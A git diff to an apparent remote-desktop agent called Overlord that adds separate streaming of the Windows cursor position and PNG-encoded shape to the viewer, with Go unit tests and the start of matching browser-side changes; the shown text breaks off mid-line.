diff --git a/Overlord-Client/cmd/agent/capture/capture.go b/Overlord-Client/cmd/agent/capture/capture.go index 0aca4ac..63495a7 100644 --- a/Overlord-Client/cmd/agent/capture/capture.go +++ b/Overlord-Client/cmd/agent/capture/capture.go @@ -114,6 +114,7 @@ func CaptureAndSend(ctx context.Context, env *rt.Env) error { log.Printf("capture: direct video capture failed: %v (sending black frame, consecutive=%d)", err, consecutiveCaptureFails.Load()) return sendBlackFrame(ctx, env) } + emitDesktopCursor(ctx, env, display, frame.Header.Width, frame.Header.Height) if len(frame.Data) == 0 { consecutiveCaptureFails.Store(0) return nil @@ -168,6 +169,7 @@ func CaptureAndSend(ctx context.Context, env *rt.Env) error { } frame.Header.Width = frameWidth frame.Header.Height = frameHeight + emitDesktopCursor(ctx, env, display, frameWidth, frameHeight) now := time.Now() fps := frameFPS(now) if fps <= 0 { diff --git a/Overlord-Client/cmd/agent/capture/cursor_default.go b/Overlord-Client/cmd/agent/capture/cursor_default.go index be49c7e..e8739c0 100644 --- a/Overlord-Client/cmd/agent/capture/cursor_default.go +++ b/Overlord-Client/cmd/agent/capture/cursor_default.go @@ -8,6 +8,10 @@ import ( func SetCursorCapture(enabled bool) {} +func DesktopCursorState(display, frameWidth, frameHeight int) DesktopCursorMetadata { + return DesktopCursorMetadata{} +} + func DrawCursorOnImage(img *image.RGBA, captureBounds image.Rectangle) { // if you're not windows fuck you } diff --git a/Overlord-Client/cmd/agent/capture/cursor_stream.go b/Overlord-Client/cmd/agent/capture/cursor_stream.go new file mode 100644 index 0000000..4e9dbeb --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/cursor_stream.go @@ -0,0 +1,116 @@ +package capture + +import ( + "context" + "image" + "sync" + + rt "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" +) + +type DesktopCursorMetadata struct { + X int + Y int + Visible bool + Enabled bool + Shape uint64 + Generation uint64 + CursorWidth int + CursorHeight int + HotspotX int + HotspotY int + Image []byte +} + +type desktopCursorStreamState struct { + x int + y int + width int + height int + visible bool + enabled bool + shape uint64 + generation uint64 +} + +var desktopCursorStream struct { + sync.Mutex + last desktopCursorStreamState +} + +func emitDesktopCursor(ctx context.Context, env *rt.Env, display, frameWidth, frameHeight int) { + desktopCursorStream.Lock() + previousSize := desktopCursorStream.last + desktopCursorStream.Unlock() + frameWidth, frameHeight = resolveCursorFrameSize( + frameWidth, + frameHeight, + previousSize, + DisplayBounds(display), + ) + cursor := DesktopCursorState(display, frameWidth, frameHeight) + + desktopCursorStream.Lock() + previous := desktopCursorStream.last + positionChanged := cursor.X != previous.x || cursor.Y != previous.y || + frameWidth != previous.width || frameHeight != previous.height || + cursor.Visible != previous.visible || cursor.Enabled != previous.enabled + shapeChanged := cursorShapeNeedsRefresh(cursor, previous, frameWidth, frameHeight) + includeShape := shapeChanged && len(cursor.Image) != 0 + if !positionChanged && !includeShape { + desktopCursorStream.Unlock() + return + } + next := previous + next.x, next.y = cursor.X, cursor.Y + next.width, next.height = frameWidth, frameHeight + next.visible, next.enabled = cursor.Visible, cursor.Enabled + if includeShape { + next.shape, next.generation = cursor.Shape, cursor.Generation + } + desktopCursorStream.last = next + desktopCursorStream.Unlock() + + if !cursor.Enabled && !previous.enabled { + return + } + message := wire.DesktopCursor{ + Type: "desktop_cursor", + X: cursor.X, + Y: cursor.Y, + Width: frameWidth, + Height: frameHeight, + Visible: cursor.Enabled && cursor.Visible, + } + if includeShape { + message.CursorWidth = cursor.CursorWidth + message.CursorHeight = cursor.CursorHeight + message.HotspotX = cursor.HotspotX + message.HotspotY = cursor.HotspotY + message.Image = cursor.Image + } + _ = wire.WriteMsg(ctx, env.Conn, message) +} + +func cursorShapeNeedsRefresh(cursor DesktopCursorMetadata, previous desktopCursorStreamState, frameWidth, frameHeight int) bool { + return cursor.Enabled && + (cursor.Shape != previous.shape || cursor.Generation != previous.generation || + frameWidth != previous.width || frameHeight != previous.height) +} + +func resolveCursorFrameSize(frameWidth, frameHeight int, previous desktopCursorStreamState, captureBounds image.Rectangle) (int, int) { + if frameWidth <= 0 { + frameWidth = previous.width + if frameWidth <= 0 { + frameWidth = captureBounds.Dx() + } + } + if frameHeight <= 0 { + frameHeight = previous.height + if frameHeight <= 0 { + frameHeight = captureBounds.Dy() + } + } + return frameWidth, frameHeight +} diff --git a/Overlord-Client/cmd/agent/capture/cursor_stream_test.go b/Overlord-Client/cmd/agent/capture/cursor_stream_test.go new file mode 100644 index 0000000..aaf0c69 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/cursor_stream_test.go @@ -0,0 +1,34 @@ +package capture + +import ( + "image" + "testing" +) + +func TestCursorShapeRefreshesWhenEncodedResolutionChanges(t *testing.T) { + cursor := DesktopCursorMetadata{Enabled: true, Shape: 7, Generation: 3} + previous := desktopCursorStreamState{ + enabled: true, shape: 7, generation: 3, + width: 3840, height: 2160, + } + + if !cursorShapeNeedsRefresh(cursor, previous, 1920, 1080) { + t.Fatal("cursor shape metadata was not refreshed for 4K to 1080p change") + } + if cursorShapeNeedsRefresh(cursor, previous, 3840, 2160) { + t.Fatal("unchanged encoded resolution refreshed cursor shape metadata") + } +} + +func TestEmptyDirectFrameKeepsEncodedCursorResolution(t *testing.T) { + previous := desktopCursorStreamState{width: 1920, height: 1080} + width, height := resolveCursorFrameSize(0, 0, previous, image.Rect(0, 0, 3840, 2160)) + if width != 1920 || height != 1080 { + t.Fatalf("empty frame cursor size = %dx%d, want 1920x1080", width, height) + } + cursor := DesktopCursorMetadata{Enabled: true, Shape: 7, Generation: 3} + previous.enabled, previous.shape, previous.generation = true, 7, 3 + if cursorShapeNeedsRefresh(cursor, previous, width, height) { + t.Fatal("empty direct frame caused a redundant cursor PNG refresh") + } +} diff --git a/Overlord-Client/cmd/agent/capture/cursor_windows.go b/Overlord-Client/cmd/agent/capture/cursor_windows.go index cc682ec..d803b49 100644 --- a/Overlord-Client/cmd/agent/capture/cursor_windows.go +++ b/Overlord-Client/cmd/agent/capture/cursor_windows.go @@ -3,18 +3,30 @@ package capture import ( + "bytes" + "fmt" "image" - "image/color" + "image/draw" + "image/png" + "sync" "sync/atomic" "unsafe" ) var ( - cursorCaptureEnabled atomic.Bool + cursorCaptureEnabled atomic.Bool + cursorMetadataEnabled atomic.Bool + cursorGeneration atomic.Uint64 ) func SetCursorCapture(enabled bool) { - cursorCaptureEnabled.Store(enabled) + // Cursor pixels are transported separately. Keeping frame compositing off + // preserves direct DXGI/video encoding and avoids a full-frame copy. + cursorMetadataEnabled.Store(enabled) + cursorCaptureEnabled.Store(false) + if enabled { + cursorGeneration.Add(1) + } } var ( @@ -22,6 +34,7 @@ var ( procGetCursorInfo = user32.NewProc("GetCursorInfo") procGetIconInfo = user32.NewProc("GetIconInfo") procDrawIconEx = user32.NewProc("DrawIconEx") + procGetObjectW = gdi32.NewProc("GetObjectW") ) const ( @@ -50,149 +63,330 @@ type iconInfo struct { hbmColor uintptr } -func getCursorPosition() (x, y int32, visible bool) { +type gdiBitmap struct { + bmType int32 + bmWidth int32 + bmHeight int32 + bmWidthBytes int32 + bmPlanes uint16 + bmBitsPixel uint16 + bmBits unsafe.Pointer +} + +type cursorShape struct { + width int + height int + hotspotX int + hotspotY int + image []byte +} + +var cursorShapeCache struct { + sync.Mutex + hCursor uintptr + shape cursorShape +} + +func queryCursor() (cursorInfo, bool) { var ci cursorInfo ci.cbSize = uint32(unsafe.Sizeof(ci)) - ret, _, _ := procGetCursorInfo.Call(uintptr(unsafe.Pointer(&ci))) + return ci, ret != 0 +} + +func getCursorPosition() (x, y int32, visible bool) { + ci, ok := queryCursor() + if !ok { + return 0, 0, false + } + return ci.ptScreenPos.x, ci.ptScreenPos.y, (ci.flags & CURSOR_SHOWING) != 0 +} + +func DesktopCursorState(display, frameWidth, frameHeight int) DesktopCursorMetadata { + if !cursorMetadataEnabled.Load() { + return DesktopCursorMetadata{} + } + state := DesktopCursorMetadata{ + Enabled: true, + Generation: cursorGeneration.Load(), + } + ci, ok := queryCursor() + if !ok { + return state + } + state.Shape = uint64(ci.hCursor) + if ci.hCursor != 0 { + if shape, err := getCursorShape(ci.hCursor); err == nil { + state.CursorWidth = shape.width + state.CursorHeight = shape.height + state.HotspotX = shape.hotspotX + state.HotspotY = shape.hotspotY + state.Image = shape.image + } + } + + bounds := DisplayBounds(display) + if bounds.Dx() <= 0 || bounds.Dy() <= 0 { + return state + } + if frameWidth <= 0 { + frameWidth = bounds.Dx() + } + if frameHeight <= 0 { + frameHeight = bounds.Dy() + } + if state.CursorWidth > 0 && state.CursorHeight > 0 { + state.CursorWidth = scaleCursorMetric(state.CursorWidth, frameWidth, bounds.Dx()) + state.CursorHeight = scaleCursorMetric(state.CursorHeight, frameHeight, bounds.Dy()) + state.HotspotX = scaleCursorMetric(state.HotspotX, frameWidth, bounds.Dx()) + state.HotspotY = scaleCursorMetric(state.HotspotY, frameHeight, bounds.Dy()) + if state.HotspotX >= state.CursorWidth { + state.HotspotX = state.CursorWidth - 1 + } + if state.HotspotY >= state.CursorHeight { + state.HotspotY = state.CursorHeight - 1 + } + } + showing := (ci.flags & CURSOR_SHOWING) != 0 + if !showing || + ci.ptScreenPos.x < int32(bounds.Min.X) || ci.ptScreenPos.x >= int32(bounds.Max.X) || + ci.ptScreenPos.y < int32(bounds.Min.Y) || ci.ptScreenPos.y >= int32(bounds.Max.Y) { + return state + } + state.X = int(ci.ptScreenPos.x-int32(bounds.Min.X)) * frameWidth / bounds.Dx() + state.Y = int(ci.ptScreenPos.y-int32(bounds.Min.Y)) * frameHeight / bounds.Dy() + state.Visible = true + return state +} + +func scaleCursorMetric(value, frameSize, captureSize int) int { + if value <= 0 || frameSize <= 0 || captureSize <= 0 { + return 0 + } + scaled := (value*frameSize + captureSize/2) / captureSize + if scaled < 1 { + return 1 + } + return scaled +} + +func getCursorShape(hCursor uintptr) (cursorShape, error) { + cursorShapeCache.Lock() + defer cursorShapeCache.Unlock() + if cursorShapeCache.hCursor == hCursor && len(cursorShapeCache.shape.image) != 0 { + return cursorShapeCache.shape, nil + } + shape, err := extractCursorShape(hCursor) + if err != nil { + return cursorShape{}, err + } + cursorShapeCache.hCursor = hCursor + cursorShapeCache.shape = shape + return shape, nil +} + +func extractCursorShape(hCursor uintptr) (cursorShape, error) { + if hCursor == 0 { + return cursorShape{}, fmt.Errorf("cursor handle is null") + } + var icon iconInfo + ret, _, callErr := procGetIconInfo.Call(hCursor, uintptr(unsafe.Pointer(&icon))) + if ret == 0 { + return cursorShape{}, fmt.Errorf("GetIconInfo: %w", callErr) + } + if icon.hbmMask != 0 { + defer deleteObject(icon.hbmMask) + } + if icon.hbmColor != 0 { + defer deleteObject(icon.hbmColor) + } + + width, height, err := cursorBitmapDimensions(icon) + if err != nil { + return cursorShape{}, err + } + black, err := renderCursorOnBackground(hCursor, width, height, 0) + if err != nil { + return cursorShape{}, err + } + white, err := renderCursorOnBackground(hCursor, width, height, 255) + if err != nil { + return cursorShape{}, err + } + img := reconstructCursorRGBA(black, white, width, height) + var encoded bytes.Buffer + if err := png.Encode(&encoded, img); err != nil { + return cursorShape{}, fmt.Errorf("encode cursor PNG: %w", err) + } + return cursorShape{ + width: width, + height: height, + hotspotX: int(icon.xHotspot), + hotspotY: int(icon.yHotspot), + image: encoded.Bytes(), + }, nil +} + +func cursorBitmapDimensions(icon iconInfo) (int, int, error) { + if icon.hbmColor != 0 { + if width, height, ok := bitmapDimensions(icon.hbmColor); ok { + return width, height, validateCursorDimensions(width, height) + } + } + if icon.hbmMask != 0 { + if width, maskHeight, ok := bitmapDimensions(icon.hbmMask); ok { + height := maskHeight + if icon.hbmColor == 0 { + // A monochrome cursor stores its AND and XOR masks vertically. + height /= 2 + } + return width, height, validateCursorDimensions(width, height) + } + } + return 0, 0, fmt.Errorf("cursor has no readable bitmap") +} + +func bitmapDimensions(hBitmap uintptr) (int, int, bool) { + var bitmap gdiBitmap + ret, _, _ := procGetObjectW.Call( + hBitmap, + uintptr(unsafe.Sizeof(bitmap)), + uintptr(unsafe.Pointer(&bitmap)), + ) if ret == 0 { return 0, 0, false } + width, height := int(bitmap.bmWidth), int(bitmap.bmHeight) + if width < 0 { + width = -width + } + if height < 0 { + height = -height + } + return width, height, true +} - visible = (ci.flags & CURSOR_SHOWING) != 0 - return ci.ptScreenPos.x, ci.ptScreenPos.y, visible +func validateCursorDimensions(width, height int) error { + if width <= 0 || height <= 0 || width > 1024 || height > 1024 { + return fmt.Errorf("invalid cursor dimensions %dx%d", width, height) + } + return nil +} + +func renderCursorOnBackground(hCursor uintptr, width, height int, background byte) ([]byte, error) { + hdcScreen := getDC(0) + if hdcScreen == 0 { + return nil, fmt.Errorf("GetDC failed") + } + defer releaseDC(0, hdcScreen) + hdc := createCompatibleDC(hdcScreen) + if hdc == 0 { + return nil, fmt.Errorf("CreateCompatibleDC failed") + } + defer deleteDC(hdc) + + bmi := bitmapInfo{bmiHeader: bitmapInfoHeader{ + biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})), + biWidth: int32(width), + biHeight: -int32(height), + biPlanes: 1, + biBitCount: 32, + biCompression: BI_RGB, + }} + var bits unsafe.Pointer + dib := createDIBSection(hdcScreen, &bmi, DIB_RGB_COLORS, &bits) + if dib == 0 || bits == nil { + return nil, fmt.Errorf("CreateDIBSection failed") + } + defer deleteObject(dib) + previous := selectObject(hdc, dib) + if previous == 0 { + return nil, fmt.Errorf("SelectObject failed") + } + defer selectObject(hdc, previous) + + pixels := unsafe.Slice((*byte)(bits), width*height*4) + for offset := 0; offset < len(pixels); offset += 4 { + pixels[offset] = background + pixels[offset+1] = background + pixels[offset+2] = background + pixels[offset+3] = 255 + } + ret, _, callErr := procDrawIconEx.Call( + hdc, + 0, + 0, + hCursor, + uintptr(width), + uintptr(height), + 0, + 0, + uintptr(DI_NORMAL), + ) + if ret == 0 { + return nil, fmt.Errorf("DrawIconEx: %w", callErr) + } + result := make([]byte, len(pixels)) + copy(result, pixels) + return result, nil +} + +func reconstructCursorRGBA(black, white []byte, width, height int) *image.NRGBA { + img := image.NewNRGBA(image.Rect(0, 0, width, height)) + for src, dst := 0, 0; src+3 < len(black) && src+3 < len(white); src, dst = src+4, dst+4 { + blue := int(black[src]) + green := int(black[src+1]) + red := int(black[src+2]) + transmission := max( + int(white[src])-blue, + int(white[src+1])-green, + int(white[src+2])-red, + ) + if transmission < 0 { + transmission = 0 + } else if transmission > 255 { + transmission = 255 + } + alpha := 255 - transmission + img.Pix[dst+3] = byte(alpha) + if alpha == 0 { + continue + } + img.Pix[dst] = unpremultiplyCursorChannel(red, alpha) + img.Pix[dst+1] = unpremultiplyCursorChannel(green, alpha) + img.Pix[dst+2] = unpremultiplyCursorChannel(blue, alpha) + } + return img +} + +func unpremultiplyCursorChannel(value, alpha int) byte { + value = (value*255 + alpha/2) / alpha + if value > 255 { + value = 255 + } + return byte(value) } func drawCursor(img *image.RGBA, cursorX, cursorY int32, bounds image.Rectangle) { - imgX := int(cursorX) - bounds.Min.X - imgY := int(cursorY) - bounds.Min.Y - - if imgX < 0 || imgY < 0 || imgX >= img.Bounds().Dx() || imgY >= img.Bounds().Dy() { + if img == nil { return } - - cursorPattern := []struct { - x, y int - c color.RGBA - }{ - {0, 0, color.RGBA{0, 0, 0, 255}}, - {0, 1, color.RGBA{0, 0, 0, 255}}, - {0, 2, color.RGBA{0, 0, 0, 255}}, - {0, 3, color.RGBA{0, 0, 0, 255}}, - {0, 4, color.RGBA{0, 0, 0, 255}}, - {0, 5, color.RGBA{0, 0, 0, 255}}, - {0, 6, color.RGBA{0, 0, 0, 255}}, - {0, 7, color.RGBA{0, 0, 0, 255}}, - {0, 8, color.RGBA{0, 0, 0, 255}}, - {0, 9, color.RGBA{0, 0, 0, 255}}, - {0, 10, color.RGBA{0, 0, 0, 255}}, - {0, 11, color.RGBA{0, 0, 0, 255}}, - {1, 0, color.RGBA{0, 0, 0, 255}}, - {1, 10, color.RGBA{0, 0, 0, 255}}, - {2, 0, color.RGBA{0, 0, 0, 255}}, - {2, 9, color.RGBA{0, 0, 0, 255}}, - {3, 0, color.RGBA{0, 0, 0, 255}}, - {3, 8, color.RGBA{0, 0, 0, 255}}, - {3, 9, color.RGBA{0, 0, 0, 255}}, - {4, 0, color.RGBA{0, 0, 0, 255}}, - {4, 7, color.RGBA{0, 0, 0, 255}}, - {4, 8, color.RGBA{0, 0, 0, 255}}, - {5, 0, color.RGBA{0, 0, 0, 255}}, - {5, 6, color.RGBA{0, 0, 0, 255}}, - {5, 7, color.RGBA{0, 0, 0, 255}}, - {5, 13, color.RGBA{0, 0, 0, 255}}, - {6, 0, color.RGBA{0, 0, 0, 255}}, - {6, 5, color.RGBA{0, 0, 0, 255}}, - {6, 6, color.RGBA{0, 0, 0, 255}}, - {6, 12, color.RGBA{0, 0, 0, 255}}, - {6, 13, color.RGBA{0, 0, 0, 255}}, - {7, 0, color.RGBA{0, 0, 0, 255}}, - {7, 4, color.RGBA{0, 0, 0, 255}}, - {7, 5, color.RGBA{0, 0, 0, 255}}, - {7, 11, color.RGBA{0, 0, 0, 255}}, - {7, 12, color.RGBA{0, 0, 0, 255}}, - {8, 4, color.RGBA{0, 0, 0, 255}}, - {8, 10, color.RGBA{0, 0, 0, 255}}, - {8, 11, color.RGBA{0, 0, 0, 255}}, - {9, 4, color.RGBA{0, 0, 0, 255}}, - {9, 9, color.RGBA{0, 0, 0, 255}}, - {9, 10, color.RGBA{0, 0, 0, 255}}, - {10, 8, color.RGBA{0, 0, 0, 255}}, - {10, 9, color.RGBA{0, 0, 0, 255}}, - {11, 7, color.RGBA{0, 0, 0, 255}}, - {11, 8, color.RGBA{0, 0, 0, 255}}, - {12, 6, color.RGBA{0, 0, 0, 255}}, - {12, 7, color.RGBA{0, 0, 0, 255}}, - - {1, 1, color.RGBA{255, 255, 255, 255}}, - {1, 2, color.RGBA{255, 255, 255, 255}}, - {1, 3, color.RGBA{255, 255, 255, 255}}, - {1, 4, color.RGBA{255, 255, 255, 255}}, - {1, 5, color.RGBA{255, 255, 255, 255}}, - {1, 6, color.RGBA{255, 255, 255, 255}}, - {1, 7, color.RGBA{255, 255, 255, 255}}, - {1, 8, color.RGBA{255, 255, 255, 255}}, - {1, 9, color.RGBA{255, 255, 255, 255}}, - {2, 1, color.RGBA{255, 255, 255, 255}}, - {2, 2, color.RGBA{255, 255, 255, 255}}, - {2, 3, color.RGBA{255, 255, 255, 255}}, - {2, 4, color.RGBA{255, 255, 255, 255}}, - {2, 5, color.RGBA{255, 255, 255, 255}}, - {2, 6, color.RGBA{255, 255, 255, 255}}, - {2, 7, color.RGBA{255, 255, 255, 255}}, - {2, 8, color.RGBA{255, 255, 255, 255}}, - {3, 1, color.RGBA{255, 255, 255, 255}}, - {3, 2, color.RGBA{255, 255, 255, 255}}, - {3, 3, color.RGBA{255, 255, 255, 255}}, - {3, 4, color.RGBA{255, 255, 255, 255}}, - {3, 5, color.RGBA{255, 255, 255, 255}}, - {3, 6, color.RGBA{255, 255, 255, 255}}, - {3, 7, color.RGBA{255, 255, 255, 255}}, - {4, 1, color.RGBA{255, 255, 255, 255}}, - {4, 2, color.RGBA{255, 255, 255, 255}}, - {4, 3, color.RGBA{255, 255, 255, 255}}, - {4, 4, color.RGBA{255, 255, 255, 255}}, - {4, 5, color.RGBA{255, 255, 255, 255}}, - {4, 6, color.RGBA{255, 255, 255, 255}}, - {5, 1, color.RGBA{255, 255, 255, 255}}, - {5, 2, color.RGBA{255, 255, 255, 255}}, - {5, 3, color.RGBA{255, 255, 255, 255}}, - {5, 4, color.RGBA{255, 255, 255, 255}}, - {5, 5, color.RGBA{255, 255, 255, 255}}, - {5, 11, color.RGBA{255, 255, 255, 255}}, - {5, 12, color.RGBA{255, 255, 255, 255}}, - {6, 1, color.RGBA{255, 255, 255, 255}}, - {6, 2, color.RGBA{255, 255, 255, 255}}, - {6, 3, color.RGBA{255, 255, 255, 255}}, - {6, 4, color.RGBA{255, 255, 255, 255}}, - {6, 10, color.RGBA{255, 255, 255, 255}}, - {6, 11, color.RGBA{255, 255, 255, 255}}, - {7, 1, color.RGBA{255, 255, 255, 255}}, - {7, 2, color.RGBA{255, 255, 255, 255}}, - {7, 3, color.RGBA{255, 255, 255, 255}}, - {7, 9, color.RGBA{255, 255, 255, 255}}, - {7, 10, color.RGBA{255, 255, 255, 255}}, - {8, 5, color.RGBA{255, 255, 255, 255}}, - {8, 6, color.RGBA{255, 255, 255, 255}}, - {8, 7, color.RGBA{255, 255, 255, 255}}, - {8, 8, color.RGBA{255, 255, 255, 255}}, - {8, 9, color.RGBA{255, 255, 255, 255}}, - {9, 5, color.RGBA{255, 255, 255, 255}}, - {9, 6, color.RGBA{255, 255, 255, 255}}, - {9, 7, color.RGBA{255, 255, 255, 255}}, - {9, 8, color.RGBA{255, 255, 255, 255}}, - {10, 6, color.RGBA{255, 255, 255, 255}}, - {10, 7, color.RGBA{255, 255, 255, 255}}, - {11, 6, color.RGBA{255, 255, 255, 255}}, + ci, ok := queryCursor() + if !ok || ci.hCursor == 0 { + return } - - for _, p := range cursorPattern { - px := imgX + p.x - py := imgY + p.y - if px >= 0 && px < img.Bounds().Dx() && py >= 0 && py < img.Bounds().Dy() { - img.SetRGBA(px, py, p.c) - } + shape, err := getCursorShape(ci.hCursor) + if err != nil { + return } + cursorImage, err := png.Decode(bytes.NewReader(shape.image)) + if err != nil { + return + } + x := int(cursorX) - bounds.Min.X - shape.hotspotX + y := int(cursorY) - bounds.Min.Y - shape.hotspotY + target := image.Rect(x, y, x+shape.width, y+shape.height) + draw.Draw(img, target, cursorImage, cursorImage.Bounds().Min, draw.Over) } func DrawCursorOnDC(hdc uintptr, captureBounds image.Rectangle) bool { @@ -203,14 +397,12 @@ func DrawCursorOnDCScaled(hdc uintptr, captureBounds image.Rectangle, scaleX, sc if !cursorCaptureEnabled.Load() || hdc == 0 { return false } - var ci cursorInfo - ci.cbSize = uint32(unsafe.Sizeof(ci)) - ret, _, _ := procGetCursorInfo.Call(uintptr(unsafe.Pointer(&ci))) - if ret == 0 || (ci.flags&CURSOR_SHOWING) == 0 || ci.hCursor == 0 { + ci, ok := queryCursor() + if !ok || (ci.flags&CURSOR_SHOWING) == 0 || ci.hCursor == 0 { return false } var icon iconInfo - ret, _, _ = procGetIconInfo.Call(ci.hCursor, uintptr(unsafe.Pointer(&icon))) + ret, _, _ := procGetIconInfo.Call(ci.hCursor, uintptr(unsafe.Pointer(&icon))) if ret == 0 { return false } @@ -221,7 +413,6 @@ func DrawCursorOnDCScaled(hdc uintptr, captureBounds image.Rectangle, scaleX, sc defer deleteObject(icon.hbmColor) } - // Map from screen space into the (possibly scaled) DC space. x := int32(float64(ci.ptScreenPos.x-int32(captureBounds.Min.X))*scaleX) - int32(icon.xHotspot) y := int32(float64(ci.ptScreenPos.y-int32(captureBounds.Min.Y))*scaleY) - int32(icon.yHotspot) ret, _, _ = procDrawIconEx.Call( @@ -242,7 +433,6 @@ func DrawCursorOnImage(img *image.RGBA, captureBounds image.Rectangle) { if !cursorCaptureEnabled.Load() { return } - x, y, visible := getCursorPosition() if visible { drawCursor(img, x, y, captureBounds) diff --git a/Overlord-Client/cmd/agent/capture/cursor_windows_test.go b/Overlord-Client/cmd/agent/capture/cursor_windows_test.go new file mode 100644 index 0000000..c06c9a7 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/cursor_windows_test.go @@ -0,0 +1,100 @@ +//go:build windows + +package capture + +import ( + "bytes" + "image/png" + "testing" +) + +func TestCursorMetadataDoesNotEnableFrameCompositing(t *testing.T) { + before := cursorGeneration.Load() + SetCursorCapture(true) + t.Cleanup(func() { SetCursorCapture(false) }) + + if !cursorMetadataEnabled.Load() { + t.Fatal("cursor metadata should be enabled") + } + if cursorCaptureEnabled.Load() { + t.Fatal("cursor frame compositing disables the direct capture path") + } + if got := cursorGeneration.Load(); got != before+1 { + t.Fatalf("cursor metadata generation = %d, want %d", got, before+1) + } + state := DesktopCursorState(0, 1, 1) + if !state.Enabled || state.Generation != before+1 { + t.Fatalf("cursor state enabled=%v generation=%d, want enabled generation %d", state.Enabled, state.Generation, before+1) + } + + SetCursorCapture(true) + if got := cursorGeneration.Load(); got != before+2 { + t.Fatalf("refresh generation = %d, want %d", got, before+2) + } + if cursorCaptureEnabled.Load() { + t.Fatal("metadata refresh enabled frame compositing") + } +} + +func TestScaleCursorMetricFrom4KTo1080p(t *testing.T) { + if got := scaleCursorMetric(64, 1920, 3840); got != 32 { + t.Fatalf("scaled cursor width = %d, want 32", got) + } + if got := scaleCursorMetric(64, 1080, 2160); got != 32 { + t.Fatalf("scaled cursor height = %d, want 32", got) + } + if got := scaleCursorMetric(1, 1920, 3840); got != 1 { + t.Fatalf("non-zero cursor metric collapsed to %d", got) + } +} + +func TestReconstructCursorRGBA(t *testing.T) { + black := []byte{ + 0, 0, 0, 255, + 0, 0, 255, 255, + 255, 255, 255, 255, + } + white := []byte{ + 255, 255, 255, 255, + 0, 0, 255, 255, + 0, 0, 0, 255, + } + img := reconstructCursorRGBA(black, white, 3, 1) + + if got := img.NRGBAAt(0, 0); got.A != 0 { + t.Fatalf("transparent pixel alpha = %d, want 0", got.A) + } + if got := img.NRGBAAt(1, 0); got.R != 255 || got.G != 0 || got.B != 0 || got.A != 255 { + t.Fatalf("opaque color pixel = %#v, want opaque red", got) + } + if got := img.NRGBAAt(2, 0); got.R != 255 || got.G != 255 || got.B != 255 || got.A != 255 { + t.Fatalf("inverting monochrome pixel fallback = %#v, want opaque white", got) + } +} + +func TestExtractSystemCursorShape(t *testing.T) { + const idcArrow = 32512 + loadCursorW := user32.NewProc("LoadCursorW") + hCursor, _, callErr := loadCursorW.Call(0, idcArrow) + if hCursor == 0 { + t.Fatalf("LoadCursorW(IDC_ARROW): %v", callErr) + } + + shape, err := extractCursorShape(hCursor) + if err != nil { + t.Fatalf("extract system arrow: %v", err) + } + if shape.width <= 0 || shape.height <= 0 { + t.Fatalf("invalid extracted dimensions %dx%d", shape.width, shape.height) + } + if shape.hotspotX < 0 || shape.hotspotX >= shape.width || shape.hotspotY < 0 || shape.hotspotY >= shape.height { + t.Fatalf("hotspot (%d,%d) outside %dx%d cursor", shape.hotspotX, shape.hotspotY, shape.width, shape.height) + } + config, err := png.DecodeConfig(bytes.NewReader(shape.image)) + if err != nil { + t.Fatalf("decode extracted PNG: %v", err) + } + if config.Width != shape.width || config.Height != shape.height { + t.Fatalf("PNG dimensions %dx%d, metadata %dx%d", config.Width, config.Height, shape.width, shape.height) + } +} diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index 7e78c08..afa2631 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -130,6 +130,20 @@ type Frame struct { Data []byte `msgpack:"data"` } +type DesktopCursor struct { + Type string `msgpack:"type"` + X int `msgpack:"x"` + Y int `msgpack:"y"` + Width int `msgpack:"width"` + Height int `msgpack:"height"` + Visible bool `msgpack:"visible"` + CursorWidth int `msgpack:"cursorWidth,omitempty"` + CursorHeight int `msgpack:"cursorHeight,omitempty"` + HotspotX int `msgpack:"hotspotX,omitempty"` + HotspotY int `msgpack:"hotspotY,omitempty"` + Image []byte `msgpack:"image,omitempty"` +} + type DesktopStreamStats struct { Type string `msgpack:"type"` FPS int `msgpack:"fps"` diff --git a/Overlord-Server/public/assets/remotedesktop.js b/Overlord-Server/public/assets/remotedesktop.js index b951379..91b4e07 100644 --- a/Overlord-Server/public/assets/remotedesktop.js +++ b/Overlord-Server/public/assets/remotedesktop.js @@ -63,6 +63,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s const mouseCtrl = document.getElementById("mouseCtrl"); const kbdCtrl = document.getElementById("kbdCtrl"); const cursorCtrl = document.getElementById("cursorCtrl"); + const hideLocalCursorCtrl = document.getElementById("hideLocalCursorCtrl"); const duplicationCtrl = document.getElementById("duplicationCtrl"); const streamProfileSelect = document.getElementById("streamProfileSelect"); const streamProfileDetail = document.getElementById("streamProfileDetail"); @@ -76,6 +77,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s const codecMode = document.getElementById("codecMode"); const canvas = document.getElementById("frameCanvas"); const canvasContainer = document.getElementById("canvasContainer"); + const renderSurface = document.getElementById("renderSurface"); + const remoteCursor = document.getElementById("remoteCursor"); + const remoteCursorImage = document.getElementById("remoteCursorImage"); const ctx = canvas.getContext("2d"); const agentFps = document.getElementById("agentFps"); const viewerFps = document.getElementById("viewerFps"); @@ -97,6 +101,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s let whepClient = null; let p2pClient = null; let webrtcActive = false; + let lastRemoteCursor = null; + let remoteCursorShape = null; + let remoteCursorImageUrl = ""; function getWebrtcMode() { return webrtcMode ? String(webrtcMode.value || "off") : "off"; } @@ -462,6 +469,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s if (mouseCtrl && typeof settings.mouse === "boolean") mouseCtrl.checked = settings.mouse; if (kbdCtrl && typeof settings.keyboard === "boolean") kbdCtrl.checked = settings.keyboard; if (cursorCtrl && typeof settings.cursor === "boolean") cursorCtrl.checked = settings.cursor; + if (hideLocalCursorCtrl && typeof settings.hideLocalCursor === "boolean") hideLocalCursorCtrl.checked = settings.hideLocalCursor; if (duplicationCtrl && typeof settings.duplication === "boolean") duplicationCtrl.checked = settings.duplication; if (softwareH264Ctrl && typeof settings.softwareH264 === "boolean") softwareH264Ctrl.checked = settings.softwareH264; if (clipboardSyncCtrl && typeof settings.clipboardSync === "boolean") 